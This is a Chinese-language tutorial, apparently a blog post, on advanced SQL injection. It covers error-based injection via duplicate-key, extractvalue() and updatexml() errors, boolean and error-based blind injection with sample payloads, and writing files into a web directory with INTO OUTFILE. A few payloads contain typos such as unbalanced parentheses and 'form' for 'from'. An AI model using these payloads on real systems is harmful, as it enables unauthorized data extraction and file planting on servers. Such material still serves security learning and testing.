SQL注入(二)SQL注入进阶-报错注入、盲注

上一篇是SQL语句执行结果有回显的情况,本篇为无回显的情况下的一些利用技巧。

在SQL语句执行结果不回显的情况下,有三种情况:

  1. 数据库会回显详细报错信息,使用报错注入。

  2. 数据库只回显通用报错信息,使用基于数据库错误的盲注。

  3. 数据库不回显任何信息,使用基于时间的盲注。

报错注入

  • 如果数据库报错会回显到前端,可以通过触发报错来获取到需要的数据。
双查询注入
1
2
mysql> select count(*),concat(floor(rand()*2),':',database()) as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '0:security' for key '<group_key>'
  • 50%的触发概率
extractvalue()
1
2
mysql> select extractvalue('a',concat('~',database()));
ERROR 1105 (HY000): XPATH syntax error: '~security'
  • extractvalue()查询得到字符串的最大长度为32,如果长度超过32,用substring()函数截取。
updatexml()
  • 与extractvalue类似

盲注

基于逻辑真假不同结果来获取信息
  • 1‘ and 1=1 –
  • 1’ and 1=2 –
  • 1’ and ORD(MID(VERSION(),2,1))&32>0
    • VERSION的第二位的ASCII码的二进制第3位>0
    • ORD()函数返回字符串第一个字符的ASCII值
    • MID函数类似于mssql和oracle中的substr
  • 1‘ and ascii(version(),1,1))=65 –
    • VERSION的第一位的ascii码为65
  • current_user()、database()
基于数据库错误获取信息
  • select 1/0 from dual where(select username from all_users where username=’dbsnmp’)=’dbsnmp’
    • 如果用户dbsnmp存在,则会计算1/0,数据库会发生错误
  • select 1 where <<condition>> or 1/0 =0
  • select ename,job form emp where deptno=? order by? desc
    • select ename,job from emp where deptno=? order by (select 1/0 from dual where (select substr(max(object_name),1,1) from user_objects)=’Y’) desc
outfile
  • 如果不回显报错,也不回显数据,但知道页面的绝对路径,可以使用。

  • !注意

    • 需要数据库的用户具有选定目录的写入权限
    • mysql配置文件my.ini中加入一行secure-file-priv=""
      • 用来限制load data,select … into outfile, load_file()穿到哪个指定目录。
      • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
      • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
      • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
  • select xxx into outfile ‘文件路径’,放在web服务器下,可以通过web访问。